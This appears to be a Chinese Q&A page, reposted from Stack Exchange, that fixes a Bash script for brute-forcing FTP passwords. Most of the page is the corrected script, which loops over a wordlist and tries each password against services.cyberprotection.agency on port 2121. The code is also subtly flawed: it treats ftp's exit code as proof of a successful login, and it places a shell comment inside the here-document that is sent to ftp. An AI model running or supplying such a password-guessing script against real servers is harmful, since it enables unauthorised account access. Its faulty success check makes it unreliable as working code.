编写FTP暴力破解Bash脚本时遇unexpected end of file错误求助
解决Bash FTP暴力破解脚本的语法错误
嘿,我一眼就看出问题所在了——你遇到的syntax error: unexpected end of file错误,核心原因是here-document(<< EOF)没有正确闭合,另外脚本还有几个小细节需要调整才能正常工作。
错误原因分析
- 未闭合的Here-Document:你用
<< EOF告诉bash要把后续内容作为ftp命令的输入,但只写了开头的标记,却没有在ftp输入的末尾加上对应的EOF来结束输入块。bash会一直寻找这个结束标记,直到脚本文件末尾都没找到,所以抛出了“意外文件结束”的错误。 - 缺少FTP退出命令:即使你闭合了EOF,ftp会话也会一直保持打开状态,不会自动回到循环中继续尝试下一个密码,导致脚本卡住。
- 不够健壮的字典读取方式:
cat $filename | while read LINE的写法会创建子shell,而且如果密码里包含转义字符或空格,可能会被错误解析。
修正后的脚本
这里是调整后的完整脚本,我标注了关键修改点:
#!/bin/bash USER="user" filename="WORDLIST" # 用-r参数读取行,避免转义字符被解析;直接从文件读取,避免子shell问题 while read -r PASS; do echo "正在尝试密码: $PASS" # 调用ftp命令,用here-document传递输入 ftp -inv services.cyberprotection.agency 2121 << EOF user $USER $PASS quit # 明确退出FTP会话,让脚本继续循环 EOF # 检查ftp命令的退出码,0表示登录成功 if [ $? -eq 0 ]; then echo "✅ 找到有效密码: $PASS" exit 0 # 成功后直接退出脚本 fi done < "$filename" echo "❌ 字典中未找到有效密码"
关键修改说明
- 闭合Here-Document:在ftp命令的输入末尾添加了
EOF,和开头的<< EOF对应,解决了语法错误。 - 添加
quit命令:确保每次尝试后ftp会话正常关闭,脚本能继续执行下一次循环。 - 优化字典读取:改用
while read -r PASS; do ... done < "$filename"的写法,更健壮,能正确处理带空格或特殊字符的密码,同时避免子shell导致的变量作用域问题。 - 增加成功判断:通过
$?获取ftp命令的退出码,登录成功时直接退出脚本,避免不必要的循环。
内容的提问来源于stack exchange,提问作者Callum Williams
相关产品推荐
相关产品推荐

